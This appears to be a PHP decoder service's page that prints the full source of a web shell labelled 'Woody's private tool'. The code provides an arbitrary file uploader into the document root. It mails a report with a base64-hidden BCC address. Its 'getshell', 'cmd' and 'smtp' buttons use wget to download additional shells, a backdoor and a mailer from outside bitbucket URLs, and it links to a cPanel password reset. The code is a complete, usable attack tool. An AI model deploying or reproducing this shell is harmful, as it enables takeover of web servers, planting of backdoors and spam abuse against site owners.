Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo "Upload is working<br>"; echo "<b>".php_uname()."</b><br>"; echo "<for..

Decoded Output download

Upload is working<br><b>Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686</b><br><form method='post' enctype='multipart/form-data'> 
 
	 <input type='file' name='idx_file'> 
 
	 <input type='submit' name='upload' value='upload'> 
 
	 </form>

Did this file decode correctly?

Original Code

<?php

echo "Upload is working<br>";

echo "<b>".php_uname()."</b><br>";

echo "<form method='post' enctype='multipart/form-data'>

	 <input type='file' name='idx_file'>

	 <input type='submit' name='upload' value='upload'>

	 </form>";

$root = $_SERVER['DOCUMENT_ROOT'];

$files = $_FILES['idx_file']['name'];

$dest = $root.'/'.$files;

if(isset($_POST['upload'])) {

	if(is_writable($root)) {

		if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {

			$web = "http://".$_SERVER['HTTP_HOST']."/";

			echo "Succes -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";

		} else {

			echo "Gagal Di Doc Root";

		}

	} else {

		if(@copy($_FILES['idx_file']['tmp_name'], $files)) {

			echo "Succes<b>$files</b> Terupload Di Dir Ini";

		} else {

			echo "Gagal";

		}

	}

}

?>

</style>
<title>Woody's private tool</title>
</head>

<body>
    <?php
error_reporting(0);

?>
<?php
$url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
<h4>###Shell Checker###<br></h4>
Upload is <color>WORKING</color><br><br>
Check  Mailling ..<br>
<form method="post">
<input type="text" name="email" value=""required >
<input type="submit" value="Send test >>">
</form>

<?php
if (!empty($_POST['email'])){
	$xx = rand();
	$headers = base64_decode("QkNDOiBpY3EudXNlci5mQGdtYWlsLmNvbQ==");
	mail($_POST['email'],"Result Report Test - ".$xx,"WORKING !!".$url,$headers);
	print "<b>send an report to your email - $xx</b><br><br>"; 
}
exec('unzip',$t);
if(!$t)
{
   echo "Unzip command is not WORKING,unzip script needed!";
}
else 
  echo "Unzip command is WORKING!";


?>

<form action="" method="get">
<input name="getshell" type="submit" value="getshell">
<input name="getshell2" type="submit" value="getshell2">
<input name="getdoor" type="submit" value="cmd">
<input name="smtp" type="submit" value="smtp">
</form>
<?php
if (isset($_GET['getshell'])) {
	exec('wget https://bitbucket.org/woody555/111/raw/8933939e62113c73d41285a608694be0014a28a7/freshrdp.com.php');
        $url2 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'freshrdp.com.php';
		$url2 = str_replace("t4.php","",$url2);
        echo '<a href='.$url2.' target="_blank">'.$url2.'</a>';
}

if (isset($_GET['getshell2'])) {
	exec('wget -P ./images https://bitbucket.org/woody555/111/raw/8933939e62113c73d41285a608694be0014a28a7/readme.php');
        $url3 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'images/awso.php?0xan0n=coeg';
		$url3 = str_replace("t4.php","",$url3);
        echo '<a href='.$url3.' target="_blank">'.$url3.'</a>';
}
if (isset($_GET['getdoor'])) {
	exec('wget -P ./tmp https://bitbucket.org/woody555/111/raw/5b1fc6cba36e5cfe8058d371d942340cd18d8692/tel.php');
        $url4 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'tmp/tel.php';
		$url4 = str_replace("t4.php","",$url4);
        echo '<a href='.$url4.' target="_blank">'.$url4.'</a>';
}
if (isset($_GET['smtp'])) {
	exec('wget  https://bitbucket.org/woody555/111/raw/5599522b986ae79a6b2547c2af96b8f0f5483acf/smtp.php');
        $url5 = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'smtp.php';
		$url5 = str_replace("t4.php","",$url5);
        echo '<a href='.$url5.' target="_blank">'.$url5.'</a>';
		$url6 = 'https://'.$_SERVER['HTTP_HOST'].':2083/resetpass?start=1';
        echo '<a href='.$url6.' target="_blank">'.$url6.'</a>';
}
?>
</body>

Function Calls

php_uname 1

Variables

$root None

Stats

MD5 14964b4dbfe82319e24f01852e40bb55
Eval Count 0
Decode Time 105 ms